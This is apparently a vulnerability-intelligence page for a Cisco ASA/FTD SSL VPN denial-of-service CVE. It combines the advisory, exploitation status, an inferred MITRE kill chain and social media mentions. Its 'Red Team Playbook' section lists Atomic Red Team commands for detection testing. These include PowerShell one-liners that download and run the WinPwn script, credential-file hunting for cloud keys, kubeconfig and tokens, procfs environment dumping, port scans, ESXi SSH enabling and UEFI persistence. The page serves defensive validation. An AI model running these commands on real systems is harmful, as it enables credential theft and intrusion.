CVE-2026-76418

HIGH CISA KEV Pub 28/10 Upd 30/10

Overview

This vulnerability is a logic error in the Remote Access SSL VPN service of Cisco Secure Firewall ASA and FTD Software. It arises specifically when secondary authentication is configured on a tunnel group, causing improper handling of authentication states. The flaw affects the SSL VPN tunnel group authentication mechanism, leading to unexpected device reloads triggered by crafted requests.

Vulnerability Description

A vulnerability in the Remote Access SSL VPN service of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition. This vulnerability is due to logic errors when secondary authentication is configured on a tunnel group. An attacker could exploit this vulnerability by sending a crafted request when connecting to the SSL remote access VPN. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a DoS condition.

Impact

An unauthenticated remote attacker can cause the affected Cisco ASA or FTD device to reload unexpectedly, resulting in a denial of service condition. This disrupts VPN connectivity and network security enforcement, potentially causing extended service outages. No user credentials or prior access are required to exploit this vulnerability, enabling attackers to impact network availability and business operations reliant on secure remote access.

Solution

Cisco has released a security advisory (cisco-sa-asaftd-tunnel-dos-s6mgkb75) detailing updated software versions that address this vulnerability in Cisco Secure Firewall ASA and FTD Software. Administrators should apply the recommended patches as specified in the advisory. No alternative workarounds are provided; refer to Cisco's advisory for detailed patching instructions and version-specific fixes.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

No CPE information available.

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest VERY HIGH
Sightings Considerable activity

Threat Feed

8 events
2026-11-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-31
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-30
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-29
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-10-29
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-10-28
Threat Sensor Sighting — Some sightings

Sighting activity recorded

Detected as Exploited in the Wild (98 sightings)

Active exploitation confirmed with 98 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
72% buffer_overflow
Denial of Service
65% dos
Improper Input Validation
56% input_validation
Remote Code Execution
55% rce
NULL Pointer Dereference
40% null_pointer

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell) 
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash) 
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell) 
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell) 
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell) 
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell) 
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell) 
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell) 
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell) 
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell) 
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell) 
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (1)

Mentions (50)

143 mentions from 89 sources in the last 7 days BuzzFactor 100 / 100

  • social bsky.app @vulnsea.com 2026-11-03 11:06 UTC
    🌊 ABYSSAL · critical with a public exploit CVE-2026-76418: Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Remote Access SSL VPN Tun… CVSS 8.6 · EPSS 0.8% · CISA KEV · 0day https://vulnsea.com/…
    Open source
  • social infosec.exchange @117545497932484716 2026-11-03 00:05 UTC
    CISA warns of attacks exploiting Cisco firewall flaw (CVE-2026-76418) CISA added CVE-2026-76418, affecting Cisco Secure Firewall ASA Software and Cisco Secure FTD Software, to its Known Exploited Vulnerabilities catalog on October 29, 2026…
    Open source
  • social infosec.exchange @117543547101018560 2026-11-02 20:30 UTC
    3 threats SOC teams should know about this week 🛡️ My site Intel60 tracked 119 security stories this week. 34 were rated critical, and CISA added 10 bugs to its Known Exploited Vulnerabilities list. These are the three I’d put at the top o…
    Open source
  • social bsky.app @secquill.com 2026-11-02 11:38 UTC
    CISA adds CVE-2026-76418 to exploited-vulnerabilities catalog: Cisco Secure Firewall ASA Software and Cisco Secure FTD Software CISA added CVE-2026-76418, affecting Cisco Secure Firewall ASA Software and Cisco Secure FTD Software, to its K…
    Open source
  • social noc.social @DIESEC 2026-11-02 09:01 UTC
    Cisco ASA and FTD firewalls: one crafted SSL VPN request can reload the device. CVE-2026-76418, CVSS 8.6, exploited, CISA KEV. Check tunnel groups for secondary authentication, then patch. # Cisco # CyberSecurity 🇬🇧 https:// diesec.com/202…
    Open source
  • social bsky.app @diesec.bsky.social 2026-11-02 09:00 UTC
    Cisco ASA and FTD firewalls: one crafted SSL VPN request can reload the device. CVE-2026-76418, CVSS 8.6, exploited, CISA KEV. Check tunnel groups for secondary authentication, then patch. #Cisco #CyberSecurity 🇬🇧 diesec.com/2026/11/cisc..…
    Open source
  • news neoteo.com 2026-11-01 05:55 UTC
    Cisco CVE-2026-76418: exposure and fixed releases - NeoTeo
    Open source
  • news neoteo.com 2026-11-01 00:48 UTC
    Cisco CVE-2026-76418 Patch: ASA and FTD Fixes - NeoTeo
    Open source
  • social bsky.app @kotosecurity.bsky.social 2026-10-31 22:00 UTC
    BREAKING: Cisco ASA/FTD zero-day CVE-2026-76418 actively exploited in the wild — unauthenticated remote attackers crash SSL VPN devices via crafted requests. 51K+ devices exposed online. Patch now or disable secondary auth on DefaultWEBVPN…
    Open source
  • social bsky.app @kotosecurity.bsky.social 2026-10-31 21:49 UTC
    BREAKING: Cisco ASA/FTD zero-day CVE-2026-76418 actively exploited in the wild — unauthenticated remote attackers crash SSL VPN devices via crafted requests. 51K+ devices exposed online. Patch now or disable secondary auth on DefaultWEBVPN…
    Open source
  • news 2-spyware.com 2026-10-31 20:33 UTC
    Cisco firewall VPN flaw is being used to crash devices - 2-Spyware
    Open source
  • social bsky.app @deceptioncheck.bsky.social 2026-10-31 19:04 UTC
    Some Cisco ASA/FTD VPNs can restart before login when the affected secondary-auth configuration is used. Check the default profile, match the fix to your branch, and keep restart evidence. Guide + worksheet: https://deceptioncheck.ai/blog/…
    Open source
  • social bsky.app @kotosecurity.bsky.social 2026-10-31 12:57 UTC
    BREAKING: Cisco ASA/FTD zero-day CVE-2026-76418 actively exploited in the wild — unauthenticated remote attackers crash SSL VPN devices via crafted requests. 51K+ devices exposed online. Patch now or disable secondary auth on DefaultWEBVPN…
    Open source
  • social bsky.app @ninjaintelgroup.bsky.social 2026-10-31 08:00 UTC
    New in the known-exploited catalogue: CVE-2026-76418. Exploited in the wild — the only phrase in this field that still means exactly what it says. Patch the edge appliance. It is always the edge appliance.
    Open source
  • social mastodon.social @117368406788184609 2026-10-31 08:00 UTC
    New in the known-exploited catalogue: CVE-2026-76418. Exploited in the wild — the only phrase in this field that still means exactly what it says. Patch the edge appliance. It is always the edge appliance. # KEV # vulnerability
    Open source
  • social bsky.app @pmloik.bsky.social 2026-10-31 07:27 UTC
    Top 3 CVE for last 7 days: CVE-2026-98432: 433 interactions CVE-2026-111497: 235 interactions CVE-2026-109618: 211 interactions Top 3 CVE for yesterday: CVE-2026-98432: 362 interactions CVE-2026-109618: 11 interactions CVE-2026-76418: 10 i…
    Open source
  • social bsky.app @ahmandonk.bsky.social 2026-10-31 07:01 UTC
    📰 Cisco Peringatkan Celah Zero-Day CVE-2026-76418, Hacker Bisa Membuat Firewall ASA dan FTD Crash 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/10/31/cisco-cve-2026-76418-zero-day-firewall-asa-ftd/ #cisco #cve #cybersecurity #…
    Open source
  • social bsky.app @cyberhub.blog 2026-10-31 02:07 UTC
    📌 CVE-2026-76418 - A vulnerability in the Remote Access SSL VPN service of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Thr... https://www.cyberhub.blog/cves/CVE-2026-76418
    Open source
  • social bsky.app @elcompilado.com 2026-10-30 21:00 UTC
    Cisco parchea una falla de VPN SSL en ASA y FTD que ya se está explotando, y confirma que un APT usó otra para plantar malware que roba claves
    Open source
  • news securityaffairs.com 2026-10-30 20:54 UTC
    U.S. CISA adds GitLab and Cisco flaws to its Known Exploited Vulnerabilities catalog - Security Affairs
    Open source
  • social bsky.app @wirebrief.bsky.social 2026-10-30 18:34 UTC
    CISA's KEV feed added two more today (catalog 2026.10.30), so 10 exploited flaws have been added since Mon 26 Oct, this GitLab CVE-2026-97229 and Cisco's ASA/FTD CVE-2026-76418 among them. That meets our logged 65% call for a 10+ week by 2…
    Open source
  • social bsky.app @alt.pds.lefht.cc 2026-10-30 18:15 UTC
    3. CVE-2026-76418 · 20 people 🔥 🟧 High 8.6 · Cisco Secure Firewall Adaptive Security Appliance (ASA) Software Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Remote Access SSL VPN Tunnel Denial…
    Open source
  • social bsky.app @alt.pds.lefht.cc 2026-10-30 18:15 UTC
    🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-98432 · 90 people 2. CVE-2026-97229 · 26 people 🔥 3. CVE-2026-76418 · 20 people 🔥 4. CVE-2026-109618 · 15 people 🔥 5. CVE-2026-118539 · 14 people 🔥 = on CISA's Known Exploited list ·…
    Open source
  • social bsky.app @netsecio.bsky.social 2026-10-30 18:15 UTC
    Cisco patches actively exploited zero-day (CVE-2026-76418) in ASA & FTD firewalls. Unauthenticated remote attackers can cause a DoS condition by crashing devices. Patches are available now. #Cisco #ZeroDay #CyberSecurity #CVE 🌐 cyber[.]net…
    Open source
  • social mastodon.social @115426718704364579 2026-10-30 18:15 UTC
    📰 Cisco Patches Actively Exploited Zero-Day Crashing Firewalls Cisco patches actively exploited zero-day (CVE-2026-76418) in ASA & FTD firewalls. Unauthenticated remote attackers can cause a DoS condition by crashing devices. Patches are a…
    Open source
  • social bsky.app @cvemon.bsky.social 2026-10-30 16:43 UTC
    CVE-2026-76418 is trending. Hype score 14, currently #7 on cvemon. A vulnerability in the Remote Access SSL VPN service of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Soft…
    Open source
  • social bsky.app @neonotu.bsky.social 2026-10-30 16:08 UTC
    🟠 HOCH · Cisco Secure Firewall ASA & FTD Software: eine Schwachstelle NCSC-NL
    Open source
  • social bsky.app @duonggiakhanh.com 2026-10-30 15:30 UTC
    Friday in infosec: attackers finally learned IT's #1 troubleshooting step 💀 CVE-2026-76418 lets them reboot Cisco ASA/FTD firewalls with SSL VPN secondary auth, no login needed. Patch before your firewall starts "fixing itself". #cybersecu…
    Open source
  • social infosec.exchange @116769913619325742 2026-10-30 15:01 UTC
    🔴 EXPLOITED CVE-2026-76418: Cisco Secure Firewall ASA and FTD devices can be forced to reload by an unauthenticated request to the Remote Access SSL VPN, causing denial of service. Listed in CISA KEV. Affects SSL VPN tunnel groups with sec…
    Open source
  • social bsky.app @suriq.io 2026-10-30 15:01 UTC
    🔴 EXPLOITED CVE-2026-76418: An unauthenticated remote attacker can force Cisco Secure Firewall ASA and FTD devices running Remote Access SSL VPN to reload, causing denial of service. Listed in CISA KEV. Apply Cisco's fixed releases; federa…
    Open source
  • social bsky.app @mtcgroupllc.bsky.social 2026-10-30 13:00 UTC
    Exploited now: CVE-2026-76418 in Cisco Secure Firewall Adaptive Security Appliance (ASA) Software. Added to CISA KEV Oct 29, 2026. CVSS 8.6. Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Thr… #cybersecurity #infosec…
    Open source
  • social bsky.app 2026-10-30 12:10 UTC
    Faille Cisco CVE-2026-76418 activement exploitée selon le CERT-FR Le CERT-FR alerte sur une faille Cisco activement exploitée permettant un déni de… https://infos.kanibal-studio.com/faille-cisco-cve-2026-76418-activement-exploitee-selon-le…
    Open source
  • social infosec.exchange @cloud 2026-10-30 11:44 UTC
    🤖 CVE-2026-97229 (CVSS 10.0): unauthenticated RCE in GitLab CE/EE via a crafted regex in CI/CD configuration (insufficient regex validation). Fixed in 19.2.8, 19.3.5, 19.4.2. Actively exploited — added to CISA KEV Oct 29, alongside a Cisco…
    Open source
  • news secnews.gr 2026-10-30 10:46 UTC
    CISA KEV: GitLab and Cisco vulnerabilities actively exploited - SecNews.gr
    Open source
  • social bsky.app @hacker.at.thenote.app 2026-10-30 10:32 UTC
    Cisco Patches Actively Exploited ASA and FTD VPN Flaw That Can Crash Firewalls Cisco has released patches to address a high-severity security flaw in Secure Firewall Adaptive Security Appliance (ASA) Software and Secure Firewall Threat Def…
    Open source
  • social infosec.exchange @beyondmachines1 2026-10-30 10:01 UTC
    Cisco Patches Actively Exploited Firewall Zero-Day Cisco patched a high-severity zero-day vulnerability (CVE-2026-76418) in ASA and FTD software that allows unauthenticated attackers to remotely crash SSL VPN devices. The flaw is part of a…
    Open source
  • social bsky.app @cyberveille-ch.bsky.social 2026-10-30 09:00 UTC
    📢 [VULN] CISA : une faille GitLab CVSS 10 et un bug Cisco exploités - CVE-2026-97229 CVE-2026-76418 L’agence américaine CISA a ajouté jeudi deux vulnérabilités à son catalogue KEV. Ce registre recense, en effet, les failles exploitées acti…
    Open source
